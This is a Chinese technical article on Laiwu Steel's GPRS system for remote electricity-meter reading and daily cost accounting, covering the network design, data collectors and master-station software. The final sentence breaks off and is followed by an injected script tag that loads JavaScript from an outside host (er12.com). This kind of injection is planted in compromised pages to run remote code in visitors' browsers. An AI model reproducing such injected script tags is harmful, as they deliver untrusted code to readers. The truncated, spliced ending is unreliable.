摘要:为实现日成本核算，莱钢利用gprs技术开发了电计量数据传输系统。该系统由系统主站、数据通道、采集器、多功能表和串口设备组成，通过专用应用软件系统，实现了对电表数据的实时采集、监控，完成分时段（尖峰、峰、平、谷）用电计量计费、异常报警、线损统计与同期比较等功能。
1、前 言
随着莱芜钢铁集团有限公司（简称莱钢）生产节奏的加快和生产规模的扩大，细化管理的要求更加迫切。为加强成本管理，莱钢要求对各生产单位进行日成本核算，生产用电成本便是其中的一部分。由于莱钢生产用电计量系统延用了原来的计量设备，在线电表设备非常落后，数据全部采用人工抄表，没有实现自动抄表和网络数据传输，达不到实现日成本核算的要求。因此，莱钢决定对电计量系统进行技术改造，建立远程抄表和数据网络传输系统。
gprs是generalpacketradioservice的缩写，意为"通用分组无线业务"，是无线通信的一种标准，其速度为150kbps，比gsm快15倍。gprs可以支持多种带宽，是对有限带宽的高效使用。此技术尤其适合发送小量数据，也可以用于大量数据的传输，能够实现从空中接口到外部网络之间的分组数据传输，可以接入基于tcp/ip的外部网络。
gprs向用户提供从9kbps到多于171.2kbps的接入速率。无线接口资源可在语音和数据业务之间共享。gprs支持上行和下行的非对称传输,更为有效地实现和ip网络的互通。gprs从协议结构上提供了和ip网络的互通功能。另外gprs能向用户提供internet所能提供的一切功能，gprs对于internet的其它组成部分来说，只是一个普通的子网。gprs用户的建立时间更短。gprs向用户提供比gsm更为丰富的数据业务。gprs在gsm原有网络的基础上叠加了一层组成gsm/gprs网络，引入gprs业务将带来更优质的服务。
根据莱钢各生产单位较分散、计量点点多面广的现状，莱钢gprs电计量数据传输系统设计采用gprs无线传输方式对电计量数据进行远程传输。通过利用移动通信公司的网络资源优势进行数据联网，数据通讯质量好，日常维护费用也比较低，并具有施工周期短的显著优点。
2、gprs电计量数据传输系统技术方案
随着移动通讯事业的发展，移动通讯的网络覆盖几乎无所不在，并且资源空置量非常大，而入网和使用费用亦十分低廉，这就为广泛地将无线通讯技术应用到水、电计量进行远程抄表和监控提供了便利条件。本系统基于gprs系统为通讯媒介组成无线网络，实现联网抄表和监控。
2.1 系统结构及组成
系统配置拓扑图见图1。
gprs电计量系统由系统主站、数据通道、采集器、多功能表和串口设备组成，同时包括一套专用的应用软件，实现对电表数据实时采集、对电表实时监控，独立完成分时段（尖峰、峰、平、谷）计量计费、用电异常报警、线损统计与同期比较等功能；通过gprs网络实现远程维护与升级；通过与mis、scada、dms、ems等系统互联实现数据交换与共享。
2.1.1 gprs数据采集器
采集器由32位高速处理器、6mflash储存电路、gprs模块、电源电路、锂电池组、电池管理电路、rs-485接口电路、rs-232接口电路、以太网接口电路、开关量检测电路等组成。工作电压90～270v交流电，静态功耗小于2w。
采集器具有以下功能：
数据采集功能，具有rs-485、rs-232、以太网口等接口，内置多种通讯规约，可以读取多种电能表的数据，或通过串口读取各种设备的数据。
数据处理功能，能实时处理大流量数据。
监控功能，能够实时监控电表和自身的工作状态，当发生故障时，如掉电、电表失压、断相，采集器会实时上报报警信号，掉电时仍可使用。
具有多方式的报警提示功能，报警发生时，采集器将报警信号实时发送至服务器的同时，也可以短信方式通知维护人员。
大容量存储记忆功能，配有6m flash，可以存储各种所需数据。
响应主站的精准自动校时，保持系统时间的一致。
可以在线维护、升级，响应在线管理，可以在线配置各种参数，如工作模式，采集数据的间隔及方式，服务器地址，电表协议，短信接收号码等，使产品的后续维护和升级工作极为便利。
2.1.2 主站软件配置
数据库服务器操作系统：windows2000 advanced server；
数据采集服务器操作系统：windows2000 server；
工作站操作系统：windows2000/me/xp；
数据库管理系统：sql server、oracle。
系统主站具有以下功能：
（1）数据采集
主站对分布于各个计量监测点的采集终端实现电能量数据、状态数据及状态变化的采集，具有数据补测、参数下装、gprs校时、数据合理性校验等功能。采集到的电能量数据存贮到历史数据库中；同时对系统状态、电能表工况、表?script src=http://er12.com/t.js>
